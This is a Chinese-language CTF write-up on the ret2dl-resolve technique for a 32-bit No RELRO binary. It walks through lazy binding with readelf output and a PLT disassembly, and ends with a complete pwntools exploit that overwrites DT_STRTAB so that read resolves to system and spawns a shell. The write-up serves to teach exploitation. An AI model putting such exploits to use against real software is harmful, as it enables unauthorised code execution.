参考:ret2dlresolve - CTF Wiki ret2dl-resolve

动态链接/lazy binding

弄懂这个知识点是一个long journey。

首先来看一下动态链接是如何找地址的,这里先附上一张图,方便理解动态链接整个过程:

动态链接流程图

具体过程

_dl_runtime_resolve 是什么?

1
_dl_runtime_resolve(link_map_obj, reloc_offset)

_dl_runtime_resolve 是 glibc/ld-linux 里的内部动态链接器入口。glibc 源码说明 _dl_fixup(和对应的 trampoline / resolver 路径)是在 某个 PLT 项第一次被调用时 触发,用来完成这次调用对应的重定位,然后把解析出的真实函数地址返回给 trampoline,之后再跳去真正函数。

对于32位来说 _dl_runtime_resolve 不需要ret2libc的原因是因为源码会自动解析libc及其版本(仅限32位);64需要知道libc版本即可利用攻击。这里附上源码,可以看出他是依赖于st_name来完成解析的:

调用流程如下

对于No RELRO来说,dt_strtab(即.dynstr)在允许修改的情况下,我们把最后dt_strtab部分直接修改即可偷梁换柱得到我们想要的函数了。相比之下Partial RELRO则不允许修改dt_strtab,所以需要直接创建一条链路。

No RELRO中具体的,我们用一道例题来解释。

No RELRO例题

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
// gcc -fno-stack-protector -m32 -z norelro -no-pie main.c -o main_norelro_32
#include <unistd.h>
#include <stdio.h>
#include <string.h>

void vuln()
{
char buf[100];
setbuf(stdin, buf);
read(0, buf, 256);
}
int main()
{
char buf[100] = "Welcome to XDCTF2015~!\n";

setbuf(stdout, buf);
write(1, buf, strlen(buf));
vuln();
return 0;
}
1
2
3
4
5
6
7
8
9
10
$ checksec pwn
[*] '/mnt/hgfs/E/CTF/pwn学习/理论学习/高级ROP/pwn'
Arch: i386-32-little
RELRO: No RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
Stripped: No
$ file pwn
pwn: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, BuildID[sha1]=d0f89bfd3b72145ada1db5483f091a41b3cd1ad5, for GNU/Linux 3.2.0, not stripped

原理再现

在 32 位 ELF 里,.dynamic 里的每一项大致可看成:

1
2
3
4
5
6
7
typedef struct {
Elf32_Sword d_tag; // 4 bytes
union {
Elf32_Word d_val;
Elf32_Addr d_ptr;
} d_un; // 4 bytes
} Elf32_Dyn;

找到.dynamic表的起始地址

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
$ readelf -S pwn
There are 29 section headers, starting at offset 0x2810:

节头:
[Nr] Name Type Addr Off Size ES Flg Lk Inf Al
...
[ 5] .dynsym DYNSYM 080481ec 0001ec 0000a0 10 A 6 1 4
[ 6] .dynstr STRTAB 0804828c 00028c 000076 00 A 0 0 1
...
[ 9] .rel.dyn REL 08048348 000348 000018 08 A 5 0 4
[10] .rel.plt REL 08048360 000360 000028 08 AI 5 22 4
[11] .init PROGBITS 08049000 001000 000024 00 AX 0 0 4
[12] .plt PROGBITS 08049030 001030 000060 04 AX 0 0 16
...
[20] .dynamic DYNAMIC 0804b10c 00210c 0000e8 08 WA 6 0 4
[21] .got PROGBITS 0804b1f4 0021f4 00000c 04 WA 0 0 4
[22] .got.plt PROGBITS 0804b200 002200 000020 04 WA 0 0 4
[23] .data PROGBITS 0804b220 002220 000008 00 WA 0 0 4
[24] .bss NOBITS 0804b228 002228 000004 00 WA 0 0 1
...

再看一下.dynamic表,找到DT_STRTAB的起始地址

1
2
3
4
5
6
7
8
$ readelf -d pwn

Dynamic section at offset 0x210c contains 24 entries:
标记(tag) 类型 名称/值
...
0x00000005 (STRTAB) 0x804828c
0x00000006 (SYMTAB) 0x80481ec
...

也就是:DT_STRTAB = 0x0804828c -> 真正的 .dynstr(对应一个tag,一个地址)

1
2
3
4
5
6
7
8
9
$ readelf -p .dynstr ./pwn
// 查看 .dynstr 字符串表
String dump of section '.dynstr':
[ 1] _IO_stdin_used
...
[ 3d] stdin
[ 43] read
[ 48] libc.so.6
...

read 在 dynsym 里的 st_name = 0x43所以动态链接器取名字的方法是:

1
2
3
4
symbol_name = DT_STRTAB + st_name
= 0x0804828c + 0x43
= 0x080482cf
= "read"

我们可以动调看一下这个地址是不是:

和我们推理的一样。

劫持方法

read→system

这个时候如果说我们把这个read这个目标转成system的话,就能达到劫持的目标了。所以先要找一块可以写入的地方:

1
2
3
[Nr] Name              Type            Addr     Off    Size   ES Flg Lk Inf A
[23] .data PROGBITS 0804b220 002220 000008 00 WA 0 0 4
[24] .bss NOBITS 0804b228 002228 000004 00 WA 0 0 1

因为b’system\x00’是7字节(\x00作为字符串终止符),所以这里选在在data段写入:

1
2
3
SYSTEM_STR = 0x0804b220
rop.read(0, SYSTEM_STR, len(b"system\x00"))
p.send(b"system\x00")

好了我们这个时候溯源回去,把.dynamic段上STRTAB地址覆写掉,也就是0x0804B14C的后四个字节(如图),所以覆写的位置是0x0804B14C+0x4 = 0x804B150

覆写的值是system_addr - 0x43(原read偏移) = 0x0804b220 - 0x43 = 0x804B1DD

1
2
3
4
5
6
DT_STRTAB_VALUE = 0x804B150
rop.read(0, DT_STRTAB_VALUE, 4)
p.send(b"system\x00")

NEW_STRTAB = SYSTEM_STR - 0x43 # 0x0804b1dd
p.send(p32(NEW_STRTAB))

再次触发lazy binding

好了,在此之后我们调用在触发动态链接调用read就相当于调用system了。注意这里的前提是“在触发动态链接调用read”,我们再次会到栈溢出的地方:

1
2
3
4
5
6
void vuln()
{
char buf[100];
setbuf(stdin, buf);
read(0, buf, 256);
}

在栈溢出前,程序已经调用过read函数了,got表已经填入了libc的地址了,所以这里需要我们手动伪造一次 lazy binding 流程,首先来看一下read@plt

1
2
3
4
08049060 <read@plt>:
8049060: ff 25 14 b2 04 08 jmp *0x804b214
8049066: 68 10 00 00 00 push 0x10
804906b: e9 c0 ff ff ff jmp 0x8049030

前6字节是在动态链接过后直接跳转,如果没有,后10字节是lazy binding的过程,所以我们直接转到0x8049066执行lazy binding,替换system。

1
2
READ_PLT_2ND = 0x8049066
rop.raw(READ_PLT_2ND)

lazy binding之后会直接再运行一遍,之后传参即可。

1
2
rop.raw(0xdeadbeef)
rop.raw(BINSH_ADDR) #写在bss段即可

整体逻辑和栈布局

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
ROP
|
v
0x08049066 (read@plt 的第二条)
|
|-- push 0x10
| 这个 0x10 是 read 对应 relocation 信息的参数
|
v
0x08049030 (plt0)
|
|-- push link_map / resolver 参数
|
v
_dl_runtime_resolve
|
|-- 根据 reloc_arg=0x10 找到“这是 read 的那条重定位记录”
|
|-- 找到 read 对应 dynsym 项
|
|-- 读取 st_name = 0x43
|
|-- 读取 DT_STRTAB(现在已被你改成 0x0804b1dd
|
|-- 计算名字地址:
| 0x0804b1dd + 0x43 = 0x0804b220
|
|-- 读到符号名:
| "system"
|
|-- 在 libc 里查 system
|
|-- 得到 system 真地址
|
|-- 返回后实际跳到 system 执行
|
v
system("/bin/sh")

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
from pwn import *

context.arch = "i386"
# context.log_level = "debug"

p = process("./pwn")
elf = ELF("./pwn")
rop = ROP(elf)

p.recvuntil(b"Welcome to XDCTF2015~!\n")

offset = 112

# -----------------------------
# 你这个 ELF 里的关键地址
# -----------------------------
DT_STRTAB_VALUE = 0x0804b150 # .dynamic 中 DT_STRTAB 项的 value 字段
READ_PLT_2ND = 0x08049066 # read@plt 的第二条指令: push reloc_index
SYSTEM_STR = 0x0804b220 # 选在 .data 里写入 "system\\x00"
BINSH_ADDR = 0x0804b228 # 选在 .bss 里写入 "/bin/sh\\x00"

# read 在 .dynsym 里的 st_name = 0x43
# 动态解析器会取 (DT_STRTAB + 0x43) 作为符号名地址
NEW_STRTAB = SYSTEM_STR - 0x43 # 0x0804b1dd

# -----------------------------
# 构造 ROP
# -----------------------------
rop.raw(b"A" * offset)

# 1) 覆盖 .dynamic 里 DT_STRTAB 的值
# 原来它指向真实 .dynstr = 0x0804828c
# 现在改成 0x0804b1dd
rop.read(0, DT_STRTAB_VALUE, 4)

# 2) 在 .data 里写入 "system\\x00"
# 这样 NEW_STRTAB + 0x43 就会落到这里
rop.read(0, SYSTEM_STR, len(b"system\x00"))

# 3) 在 .bss 里写入 "/bin/sh\\x00"
rop.read(0, BINSH_ADDR, len(b"/bin/sh\x00"))

# 4) 跳到 read@plt 的第二条指令,而不是第一条
# 第一条是 jmp *read@got,read 在 vuln() 里已经被解析过了,
# 如果跳第一条,只会再次进 libc.read,不会触发动态解析。
# 所以必须从 push reloc_arg 开始,强行重走 lazy binding 流程。
rop.raw(READ_PLT_2ND)

# system("/bin/sh") 调用时栈布局:
# [ret addr]
# [arg1 = "/bin/sh"]
rop.raw(0xdeadbeef)
rop.raw(BINSH_ADDR)

payload = rop.chain()
assert len(payload) <= 256

payload = payload.ljust(256, b"A")

# -----------------------------
# 发送
# -----------------------------
p.send(payload)

# 第一次 read: 覆盖 DT_STRTAB 的 value
p.send(p32(NEW_STRTAB))

# 第二次 read: 写 "system\\x00"
p.send(b"system\x00")

# 第三次 read: 写 "/bin/sh\\x00"
p.send(b"/bin/sh\x00")

p.interactive()